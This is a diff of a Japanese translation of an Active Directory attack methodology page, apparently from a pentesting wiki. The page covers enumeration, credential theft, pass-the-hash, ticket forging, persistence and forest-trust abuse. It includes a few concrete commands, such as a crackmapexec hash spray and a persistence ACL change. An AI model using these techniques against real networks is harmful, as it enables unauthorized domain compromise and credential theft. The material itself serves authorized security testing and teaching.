||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
## 資格情報/セッションを使用したアクティブディレクトリの列挙
|
||||
## 認証情報/セッションを使用したアクティブディレクトリの列挙
|
||||
|
||||
このフェーズでは、**有効なドメインアカウントの資格情報またはセッションを侵害している必要があります。** 有効な資格情報またはドメインユーザーとしてのシェルがある場合、**前に示したオプションは他のユーザーを侵害するためのオプションとして依然として有効です**。
|
||||
このフェーズでは、**有効なドメインアカウントの認証情報またはセッションを侵害している必要があります。** 有効な認証情報またはドメインユーザーとしてのシェルがある場合、**前に示したオプションは他のユーザーを侵害するためのオプションとして依然として有効です**。
|
||||
|
||||
認証された列挙を開始する前に、**Kerberosダブルホップ問題**が何であるかを知っておく必要があります。
|
||||
|
||||
@ -151,27 +151,27 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### 列挙
|
||||
|
||||
アカウントを侵害することは、**ドメイン全体を侵害するための大きなステップ**です。なぜなら、**アクティブディレクトリの列挙を開始できるからです**:
|
||||
アカウントを侵害することは、**ドメイン全体を侵害するための大きなステップ**です。なぜなら、**アクティブディレクトリの列挙**を開始できるからです:
|
||||
|
||||
[**ASREPRoast**](asreproast.md)に関しては、すべての可能な脆弱なユーザーを見つけることができ、[**Password Spraying**](password-spraying.md)に関しては、**すべてのユーザー名のリストを取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます**。
|
||||
[**ASREPRoast**](asreproast.md)に関しては、すべての可能な脆弱なユーザーを見つけることができ、[**Password Spraying**](password-spraying.md)に関しては、**すべてのユーザー名のリスト**を取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます。
|
||||
|
||||
- [**CMDを使用して基本的なリコンを実行**](../basic-cmd-for-pentesters.md#domain-info)できます。
|
||||
- [**PowerShellを使用してリコンを実行**](../basic-powershell-for-pentesters/index.html)することもでき、よりステルス性があります。
|
||||
- [**PowerViewを使用**](../basic-powershell-for-pentesters/powerview.md)して、より詳細な情報を抽出することもできます。
|
||||
- アクティブディレクトリのリコンに最適なツールは[**BloodHound**](bloodhound.md)です。**あまりステルス性はありません**(使用する収集方法によります)が、**それを気にしないのであれば、ぜひ試してみてください**。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりできます。
|
||||
- [**PowerShellを使用してリコン**](../basic-powershell-for-pentesters/index.html)することもでき、よりステルス性があります。
|
||||
- [**PowerViewを使用**](../basic-powershell-for-pentesters/powerview.md)して、より詳細な情報を抽出できます。
|
||||
- アクティブディレクトリのリコンに最適なツールは[**BloodHound**](bloodhound.md)です。これは**あまりステルス性がありません**(使用する収集方法によります)が、**それを気にしないのであれば**、ぜひ試してみてください。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりします。
|
||||
- **他の自動化されたAD列挙ツールは:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**ADのDNSレコード**](ad-dns-records.md)は、興味深い情報を含んでいるかもしれません。
|
||||
- ディレクトリを列挙するために使用できる**GUIツール**は、**SysInternal** Suiteの**AdExplorer.exe**です。
|
||||
- [**ADのDNSレコード**](ad-dns-records.md)は、興味深い情報を含んでいる可能性があります。
|
||||
- ディレクトリを列挙するために使用できる**GUIツール**は、**SysInternal**スイートの**AdExplorer.exe**です。
|
||||
- **ldapsearch**を使用してLDAPデータベースを検索し、_userPassword_および_unixUserPassword_フィールドや、_Description_を探すことができます。cf. [PayloadsAllTheThingsのADユーザーコメントのパスワード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)で他の方法を確認してください。
|
||||
- **Linux**を使用している場合、[**pywerview**](https://github.com/the-useless-one/pywerview)を使用してドメインを列挙することもできます。
|
||||
- 自動化ツールを試すこともできます:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **すべてのドメインユーザーを抽出する**
|
||||
- **すべてのドメインユーザーの抽出**
|
||||
|
||||
Windowsからすべてのドメインユーザー名を取得するのは非常に簡単です(`net user /domain`、`Get-DomainUser`または`wmic useraccount get name,sid`)。Linuxでは、次のように使用できます:`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username`または`enum4linux -a -u "user" -p "password" <DC IP>`。
|
||||
|
||||
> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンク(特にcmd、powershell、powerview、BloodHoundのリンク)にアクセスし、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるための重要な瞬間になるか、何もできないと判断する瞬間になります。
|
||||
> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンクにアクセスし(特にcmd、powershell、powerview、BloodHoundのリンク)、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるか、何もできないと決定するための重要な瞬間になります。
|
||||
|
||||
### Kerberoast
|
||||
|
||||
@ -185,11 +185,11 @@ kerberoast.md
|
||||
|
||||
### リモート接続(RDP、SSH、FTP、Win-RMなど)
|
||||
|
||||
資格情報を取得したら、**マシン**へのアクセスがあるかどうかを確認できます。そのために、**CrackMapExec**を使用して、ポートスキャンに応じて異なるプロトコルで複数のサーバーに接続を試みることができます。
|
||||
いくつかの認証情報を取得したら、**マシン**へのアクセスがあるかどうかを確認できます。そのためには、**CrackMapExec**を使用して、ポートスキャンに応じて異なるプロトコルで複数のサーバーに接続を試みることができます。
|
||||
|
||||
### ローカル特権昇格
|
||||
|
||||
通常のドメインユーザーとしての資格情報またはセッションを侵害し、**ドメイン内の任意のマシンにこのユーザーでアクセス**できる場合、**ローカルで特権を昇格させ、資格情報を探す**方法を見つけるべきです。これは、ローカル管理者権限がないと、他のユーザーのハッシュをメモリ(LSASS)やローカル(SAM)で**ダンプ**できないためです。
|
||||
通常のドメインユーザーとしての認証情報またはセッションを侵害し、**ドメイン内の任意のマシンにこのユーザーでアクセス**できる場合、**ローカルで特権を昇格させ、クレデンシャルを探す**方法を見つけるべきです。これは、ローカル管理者権限を持っている場合にのみ、他のユーザーのハッシュをメモリ(LSASS)およびローカル(SAM)で**ダンプ**できるためです。
|
||||
|
||||
この本には、[**Windowsにおけるローカル特権昇格**](../windows-local-privilege-escalation/index.html)に関する完全なページと[**チェックリスト**](../checklist-windows-privilege-escalation.md)があります。また、[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)を使用することを忘れないでください。
|
||||
|
||||
@ -209,13 +209,13 @@ kerberoast.md
|
||||
|
||||
### **コンピュータ共有内のクレデンシャルを探す**
|
||||
|
||||
基本的なクレデンシャルを持っているので、**AD内で共有されている**興味深いファイルを**見つける**ことができるか確認するべきです。手動で行うこともできますが、それは非常に退屈で繰り返しの作業です(特にチェックする必要のある数百のドキュメントを見つけた場合はなおさらです)。
|
||||
基本的なクレデンシャルを持っているので、**AD内で共有されている興味深いファイルを見つけることができるか確認するべきです**。手動で行うこともできますが、それは非常に退屈で繰り返しの作業です(特にチェックする必要がある数百のドキュメントを見つけた場合はなおさらです)。
|
||||
|
||||
[**使用できるツールについて学ぶにはこのリンクをフォローしてください。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### NTLMクレデンシャルを盗む
|
||||
|
||||
他のPCや共有に**アクセスできる**場合、**ファイル**(SCFファイルなど)を**配置する**ことができ、それにアクセスされると**あなたに対してNTML認証をトリガーする**ことになります。そうすることで、**NTLMチャレンジを盗んでそれを解読する**ことができます:
|
||||
他のPCや共有に**アクセスできる場合**、**ファイルを配置することができます**(SCFファイルのような)それにアクセスされると、**あなたに対してNTML認証をトリガーする**ので、**NTLMチャレンジを盗む**ことができます:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -229,33 +229,33 @@ kerberoast.md
|
||||
printnightmare.md
|
||||
{{#endref}}
|
||||
|
||||
## 特権クレデンシャル/セッションを使用したアクティブディレクトリの特権昇格
|
||||
## 特権のあるクレデンシャル/セッションを使用したアクティブディレクトリの特権昇格
|
||||
|
||||
**以下の技術には、通常のドメインユーザーでは不十分で、これらの攻撃を実行するために特別な特権/クレデンシャルが必要です。**
|
||||
**以下の技術には、通常のドメインユーザーでは不十分で、これらの攻撃を実行するためには特別な特権/クレデンシャルが必要です。**
|
||||
|
||||
### ハッシュ抽出
|
||||
|
||||
幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/index.html)を使用して**ローカル管理者**アカウントを**侵害する**ことに成功したことを願っています。\
|
||||
幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/index.html)を使用して**ローカル管理者アカウントを侵害することに成功した**ことを願っています。\
|
||||
次に、メモリとローカルのすべてのハッシュをダンプする時です。\
|
||||
[**ハッシュを取得するためのさまざまな方法についてこのページを読んでください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### パス・ザ・ハッシュ
|
||||
### ハッシュを渡す
|
||||
|
||||
**ユーザーのハッシュを取得したら、**それを使用して**そのユーザーを偽装**することができます。\
|
||||
その**ハッシュ**を使用して**NTLM認証を実行する**ツールを使用する必要があります。**または**、新しい**sessionlogon**を作成し、その**ハッシュ**を**LSASS**内に**注入**することができます。そうすれば、任意の**NTLM認証が実行されると、その**ハッシュが使用されます。**最後のオプションはmimikatzが行うことです。\
|
||||
**ユーザーのハッシュを持っている場合**、それを使用して**そのユーザーを偽装する**ことができます。\
|
||||
その**ハッシュ**を使用して**NTLM認証を実行する**ための**ツール**を使用する必要があります、**または**新しい**sessionlogon**を作成し、その**ハッシュ**を**LSASS**内に**注入**することができます。そうすれば、任意の**NTLM認証が実行されると**、その**ハッシュが使用されます。**最後のオプションはmimikatzが行うことです。\
|
||||
[**詳細についてはこのページを読んでください。**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### オーバーパス・ザ・ハッシュ/パス・ザ・キー
|
||||
### ハッシュを越えて/キーを渡す
|
||||
|
||||
この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルを介したパス・ザ・ハッシュの代替手段です。したがって、これは特に**NTLMプロトコルが無効**で、**Kerberosのみが認証プロトコルとして許可されているネットワーク**で**役立つ**可能性があります。
|
||||
この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルを介したハッシュのパスの代替手段です。したがって、これは特に**NTLMプロトコルが無効になっているネットワーク**で、**Kerberosのみが認証プロトコルとして許可されている**場合に**役立ちます**。
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
{{#endref}}
|
||||
|
||||
### パス・ザ・チケット
|
||||
### チケットを渡す
|
||||
|
||||
**パス・ザ・チケット(PTT)**攻撃手法では、攻撃者は**ユーザーの認証チケットを盗む**ことで、パスワードやハッシュ値を盗むのではありません。この盗まれたチケットは、その後**ユーザーを偽装**するために使用され、ネットワーク内のリソースやサービスへの不正アクセスを得ることができます。
|
||||
**チケットを渡す(PTT)**攻撃手法では、攻撃者は**ユーザーの認証チケットを盗む**代わりに、そのパスワードやハッシュ値を盗みます。この盗まれたチケットは、その後**ユーザーを偽装する**ために使用され、ネットワーク内のリソースやサービスへの不正アクセスを得ることができます。
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -263,19 +263,19 @@ pass-the-ticket.md
|
||||
|
||||
### クレデンシャルの再利用
|
||||
|
||||
**ローカル管理者**の**ハッシュ**または**パスワード**を持っている場合は、それを使用して他の**PCにローカルでログイン**してみるべきです。
|
||||
**ローカル管理者のハッシュ**または**パスワード**を持っている場合は、それを使用して他の**PCにローカルでログイン**しようとするべきです。
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
> [!WARNING]
|
||||
> 注意してください、これは非常に**騒がしい**ものであり、**LAPS**はこれを**軽減**します。
|
||||
> 注意してください、これは非常に**ノイジー**であり、**LAPS**はこれを**軽減**します。
|
||||
|
||||
### MSSQLの悪用と信頼されたリンク
|
||||
|
||||
ユーザーが**MSSQLインスタンスにアクセスする権限**を持っている場合、MSSQLホストで**コマンドを実行**したり(SAとして実行されている場合)、NetNTLMの**ハッシュ**を**盗む**ことができるか、さらには**リレー****攻撃**を行うことができます。\
|
||||
また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合(データベースリンク)。ユーザーが信頼されたデータベースに対して権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。これらの信頼は連鎖することができ、ユーザーはコマンドを実行できる誤って構成されたデータベースを見つけることができるかもしれません。\
|
||||
また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合(データベースリンク)。ユーザーが信頼されたデータベースに対する権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。これらの信頼は連鎖することができ、ユーザーはコマンドを実行できる誤って構成されたデータベースを見つけることができるかもしれません。\
|
||||
**データベース間のリンクは、フォレストの信頼を越えても機能します。**
|
||||
|
||||
{{#ref}}
|
||||
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### ACLの悪用
|
||||
|
||||
侵害されたユーザーは、**ドメインオブジェクトに対していくつかの興味深い権限**を持っている可能性があり、これにより**横移動**や**権限の昇格**が可能になります。
|
||||
侵害されたユーザーは、**ドメインオブジェクトに対していくつかの興味深い権限**を持っている可能性があり、それにより**横移動**や**権限の昇格**が可能になります。
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -366,11 +366,11 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
[**DCSync攻撃に関する詳細情報はここにあります**](dcsync.md)。
|
||||
|
||||
[**NTDS.ditを盗む方法に関する詳細情報はここにあります**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
[**NTDS.ditを盗む方法に関する詳細情報はここにあります**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)。
|
||||
|
||||
### 永続性としての権限昇格
|
||||
### 権限昇格を持つ持続性
|
||||
|
||||
前述のいくつかの技術は、永続性のために使用できます。\
|
||||
前述のいくつかの技術は持続性に使用できます。\
|
||||
例えば、次のことができます:
|
||||
|
||||
- ユーザーを[**Kerberoast**](kerberoast.md)に対して脆弱にする
|
||||
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### シルバーチケット
|
||||
|
||||
**シルバーチケット攻撃**は、特定のサービスのために**正当なチケットグラントサービス(TGS)チケット**を**NTLMハッシュ**(例えば、**PCアカウントのハッシュ**)を使用して作成します。この方法は、**サービス権限にアクセスするため**に使用されます。
|
||||
**シルバーチケット攻撃**は、特定のサービスのために**正当なチケットグラントサービス(TGS)チケット**を**NTLMハッシュ**(例えば、**PCアカウントのハッシュ**)を使用して作成します。この方法は、**サービス権限にアクセスするために使用されます**。
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -411,23 +411,23 @@ golden-ticket.md
|
||||
|
||||
### ダイヤモンドチケット
|
||||
|
||||
これらは、**一般的なゴールデンチケット検出メカニズムを回避する方法で偽造されたゴールデンチケットのようなものです。**
|
||||
これらは、**一般的なゴールデンチケットの検出メカニズムを回避する**方法で偽造されたゴールデンチケットのようなものです。
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### **証明書アカウントの永続性**
|
||||
### **証明書アカウントの持続性**
|
||||
|
||||
**アカウントの証明書を持っているか、要求できること**は、ユーザーアカウントに永続する非常に良い方法です(たとえ彼がパスワードを変更しても):
|
||||
**アカウントの証明書を持っているか、要求できること**は、ユーザーアカウントに持続する非常に良い方法です(たとえ彼がパスワードを変更しても)。
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### **証明書ドメインの永続性**
|
||||
### **証明書ドメインの持続性**
|
||||
|
||||
**証明書を使用することは、ドメイン内で高権限を持って永続することも可能です:**
|
||||
**証明書を使用することは、ドメイン内で高い権限を持って持続することも可能です:**
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-persistence.md
|
||||
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolderグループ
|
||||
|
||||
Active Directoryの**AdminSDHolder**オブジェクトは、**特権グループ**(ドメイン管理者やエンタープライズ管理者など)のセキュリティを確保するために、これらのグループ全体に標準の**アクセス制御リスト(ACL)**を適用して、無許可の変更を防ぎます。しかし、この機能は悪用される可能性があります。攻撃者がAdminSDHolderのACLを変更して通常のユーザーに完全なアクセスを与えると、そのユーザーはすべての特権グループに対して広範な制御を得ることになります。このセキュリティ対策は保護を目的としていますが、厳重に監視されない限り、逆効果をもたらす可能性があります。
|
||||
Active Directoryの**AdminSDHolder**オブジェクトは、**特権グループ**(ドメイン管理者やエンタープライズ管理者など)のセキュリティを確保するために、これらのグループ全体に標準の**アクセス制御リスト(ACL)**を適用して、無許可の変更を防ぎます。しかし、この機能は悪用される可能性があります。攻撃者がAdminSDHolderのACLを変更して通常のユーザーに完全なアクセスを与えると、そのユーザーはすべての特権グループに対して広範な制御を得ることになります。このセキュリティ対策は保護を目的としていますが、厳重に監視されない限り、望ましくないアクセスを許可する可能性があります。
|
||||
|
||||
[**AdminDSHolderグループに関する詳細情報はここにあります。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
@ -447,9 +447,9 @@ Active Directoryの**AdminSDHolder**オブジェクトは、**特権グループ
|
||||
dsrm-credentials.md
|
||||
{{#endref}}
|
||||
|
||||
### ACLの永続性
|
||||
### ACL持続性
|
||||
|
||||
特定のドメインオブジェクトに対して**ユーザーに特別な権限**を**与える**ことで、そのユーザーが将来的に**権限を昇格**させることができます。
|
||||
特定のドメインオブジェクトに対して**ユーザー**に**特別な権限**を与えることで、そのユーザーが将来的に**権限を昇格**させることができるようになります。
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -457,7 +457,7 @@ acl-persistence-abuse/
|
||||
|
||||
### セキュリティ記述子
|
||||
|
||||
**セキュリティ記述子**は、**オブジェクト**が**オブジェクト**に対して持つ**権限**を**保存**するために使用されます。オブジェクトの**セキュリティ記述子**に**少し変更**を加えることができれば、そのオブジェクトに対して特権グループのメンバーである必要なく、非常に興味深い権限を取得できます。
|
||||
**セキュリティ記述子**は、**オブジェクト**が**オブジェクト**に対して持つ**権限**を**保存**するために使用されます。オブジェクトの**セキュリティ記述子**に**少しの変更**を加えることができれば、特権グループのメンバーである必要なく、そのオブジェクトに対して非常に興味深い権限を取得できます。
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -474,7 +474,7 @@ skeleton-key.md
|
||||
### カスタムSSP
|
||||
|
||||
[SSP(セキュリティサポートプロバイダー)について学ぶ](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
自分の**SSP**を作成して、マシンにアクセスするために使用される**資格情報**を**平文**で**キャプチャ**できます。
|
||||
自分の**SSP**を作成して、マシンにアクセスするために使用される**資格情報**を**平文**で**キャプチャ**することができます。
|
||||
|
||||
{{#ref}}
|
||||
custom-ssp.md
|
||||
@ -489,9 +489,9 @@ ADに**新しいドメインコントローラー**を登録し、指定され
|
||||
dcshadow.md
|
||||
{{#endref}}
|
||||
|
||||
### LAPSの永続性
|
||||
### LAPS持続性
|
||||
|
||||
以前に、**LAPSパスワードを読み取るための十分な権限がある場合に権限を昇格させる方法**について説明しました。しかし、これらのパスワードは**永続性を維持するためにも使用できます**。\
|
||||
以前に、**LAPSパスワードを読み取るための十分な権限がある場合に権限を昇格させる方法**について説明しました。しかし、これらのパスワードは**持続性を維持するためにも使用できます**。\
|
||||
確認してください:
|
||||
|
||||
{{#ref}}
|
||||
@ -515,23 +515,23 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま
|
||||
3. クライアントは次に、**ドメイン2**のリソースにアクセスするために必要な**インターレルムTGT**をDC1に要求します。
|
||||
4. インターレルムTGTは、DC1とDC2の間で共有された**信頼キー**で暗号化されています。
|
||||
5. クライアントはインターレルムTGTを**ドメイン2のドメインコントローラー(DC2)**に持っていきます。
|
||||
6. DC2は、共有信頼キーを使用してインターレルムTGTを検証し、有効であれば、クライアントがアクセスしたいドメイン2のサーバーのために**チケットグラントサービス(TGS)**を発行します。
|
||||
6. DC2は、共有信頼キーを使用してインターレルムTGTを検証し、有効であれば、クライアントがアクセスしたいドメイン2のサーバーのための**チケットグラントサービス(TGS)**を発行します。
|
||||
7. 最後に、クライアントはこのTGSをサーバーに提示し、サーバーのアカウントハッシュで暗号化されているため、ドメイン2のサービスにアクセスします。
|
||||
|
||||
### 異なる信頼
|
||||
|
||||
**信頼は1方向または2方向**であることに注意することが重要です。2方向のオプションでは、両方のドメインが互いに信頼しますが、**1方向**の信頼関係では、1つのドメインが**信頼された**ドメインであり、もう1つが**信頼する**ドメインです。この場合、**信頼されたドメインから信頼するドメイン内のリソースにのみアクセスできます**。
|
||||
|
||||
ドメインAがドメインBを信頼している場合、Aは信頼するドメインであり、Bは信頼されたドメインです。さらに、**ドメインA**では、これは**アウトバウンド信頼**であり、**ドメインB**では、これは**インバウンド信頼**です。
|
||||
ドメインAがドメインBを信頼している場合、Aは信頼するドメインであり、Bは信頼されたドメインです。さらに、**ドメインA**では、これは**アウトバウンド信頼**となり、**ドメインB**では、これは**インバウンド信頼**となります。
|
||||
|
||||
**異なる信頼関係**
|
||||
|
||||
- **親子信頼**:これは同じフォレスト内で一般的な設定であり、子ドメインは自動的に親ドメインとの双方向の推移的信頼を持ちます。基本的に、これは認証要求が親と子の間でシームレスに流れることを意味します。
|
||||
- **クロスリンク信頼**:これは「ショートカット信頼」と呼ばれ、子ドメイン間で確立され、参照プロセスを迅速化します。複雑なフォレストでは、認証参照は通常、フォレストルートまで上昇し、ターゲットドメインまで下降する必要があります。クロスリンクを作成することで、旅が短縮され、特に地理的に分散した環境で有益です。
|
||||
- **クロスリンク信頼**:これは「ショートカット信頼」と呼ばれ、子ドメイン間で確立され、参照プロセスを迅速化します。複雑なフォレストでは、認証参照は通常、フォレストのルートまで上昇し、ターゲットドメインまで下降する必要があります。クロスリンクを作成することで、旅が短縮され、特に地理的に分散した環境で有益です。
|
||||
- **外部信頼**:これは異なる無関係なドメイン間で設定され、非推移的です。Microsoftの文書によると、外部信頼は、現在のフォレスト外のドメインのリソースにアクセスするために便利であり、フォレスト信頼によって接続されていないドメインに対して有用です。外部信頼ではSIDフィルタリングを通じてセキュリティが強化されます。
|
||||
- **ツリー根信頼**:これらの信頼は、フォレストルートドメインと新しく追加されたツリー根の間で自動的に確立されます。一般的には遭遇しませんが、ツリー根信頼は新しいドメインツリーをフォレストに追加するために重要であり、ユニークなドメイン名を維持し、双方向の推移性を確保します。詳細情報はMicrosoftのガイドで確認できます。
|
||||
- **ツリーのルート信頼**:これらの信頼は、フォレストのルートドメインと新しく追加されたツリーのルート間で自動的に確立されます。一般的には遭遇しませんが、ツリーのルート信頼は、新しいドメインツリーをフォレストに追加するために重要であり、ユニークなドメイン名を維持し、双方向の推移性を確保します。詳細情報はMicrosoftのガイドで確認できます。
|
||||
- **フォレスト信頼**:このタイプの信頼は、2つのフォレストルートドメイン間の双方向推移的信頼であり、セキュリティ対策を強化するためにSIDフィルタリングを強制します。
|
||||
- **MIT信頼**:これらの信頼は、非Windowsの[RFC4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインとの間で確立されます。MIT信頼は、Windowsエコシステム外のKerberosベースのシステムとの統合を必要とする環境に特化しています。
|
||||
- **MIT信頼**:これらの信頼は、非Windowsの[RFC4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインとの間で確立されます。MIT信頼は、Windowsエコシステムの外部でKerberosベースのシステムとの統合を必要とする環境に特化しています。
|
||||
|
||||
#### **信頼関係の他の違い**
|
||||
|
||||
@ -588,23 +588,23 @@ Configuration Naming Context (NC) がどのように悪用されるかを理解
|
||||
|
||||
Configuration NCのSitesコンテナには、ADフォレスト内のすべてのドメイン参加コンピュータのサイトに関する情報が含まれています。任意のDCでSYSTEM権限を持って操作することで、攻撃者はGPOをルートDCサイトにリンクできます。このアクションは、これらのサイトに適用されるポリシーを操作することによって、ルートドメインを危険にさらす可能性があります。
|
||||
|
||||
詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を探ることができます。
|
||||
詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を参照してください。
|
||||
|
||||
**フォレスト内の任意のgMSAを妥協**
|
||||
**フォレスト内の任意のgMSAを危険にさらす**
|
||||
|
||||
攻撃ベクトルは、ドメイン内の特権gMSAをターゲットにすることです。gMSAのパスワードを計算するために必要なKDS Rootキーは、Configuration NC内に保存されています。任意のDCでSYSTEM権限を持つことで、KDS Rootキーにアクセスし、フォレスト内の任意のgMSAのパスワードを計算することが可能です。
|
||||
|
||||
詳細な分析は、[Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)の議論で見つけることができます。
|
||||
詳細な分析は、[Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)の議論で確認できます。
|
||||
|
||||
**スキーマ変更攻撃**
|
||||
|
||||
この方法は、新しい特権ADオブジェクトの作成を待つ必要があります。SYSTEM権限を持つ攻撃者は、ADスキーマを変更して、任意のユーザーにすべてのクラスに対する完全な制御を付与できます。これにより、新しく作成されたADオブジェクトへの不正アクセスと制御が可能になる可能性があります。
|
||||
|
||||
さらなる読み物は、[スキーマ変更信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)で利用可能です。
|
||||
さらなる情報は、[スキーマ変更信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)で入手できます。
|
||||
|
||||
**ADCS ESC5を使用したDAからEAへの昇格**
|
||||
|
||||
ADCS ESC5の脆弱性は、フォレスト内の任意のユーザーとして認証を可能にする証明書テンプレートを作成するために、公開鍵インフラストラクチャ (PKI) オブジェクトの制御をターゲットにしています。PKIオブジェクトはConfiguration NCに存在するため、書き込み可能な子DCを妥協することでESC5攻撃を実行できます。
|
||||
ADCS ESC5の脆弱性は、フォレスト内の任意のユーザーとして認証を可能にする証明書テンプレートを作成するために、公開鍵インフラストラクチャ (PKI) オブジェクトの制御をターゲットにしています。PKIオブジェクトはConfiguration NCに存在するため、書き込み可能な子DCを危険にさらすことでESC5攻撃を実行できます。
|
||||
|
||||
この件に関する詳細は、[DAからEAへのESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)で読むことができます。ADCSがないシナリオでは、攻撃者は必要なコンポーネントを設定する能力を持ち、[子ドメイン管理者からエンタープライズ管理者への昇格](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)で議論されています。
|
||||
|
||||
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
このシナリオでは、**あなたのドメインが外部のドメインに信頼されています**。これにより、**不明な権限**が与えられます。あなたは、**あなたのドメインのどのプリンシパルが外部ドメインに対してどのようなアクセス権を持っているか**を見つけ出し、それを悪用しようとする必要があります。
|
||||
このシナリオでは、**あなたのドメインが外部のドメインによって信頼されています**。これにより、**不明な権限**が与えられます。あなたは、**あなたのドメインのどのプリンシパルが外部ドメインに対してどのようなアクセス権を持っているか**を見つけ出し、それを悪用しようとする必要があります:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -658,7 +658,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **SIDフィルタリング:**
|
||||
|
||||
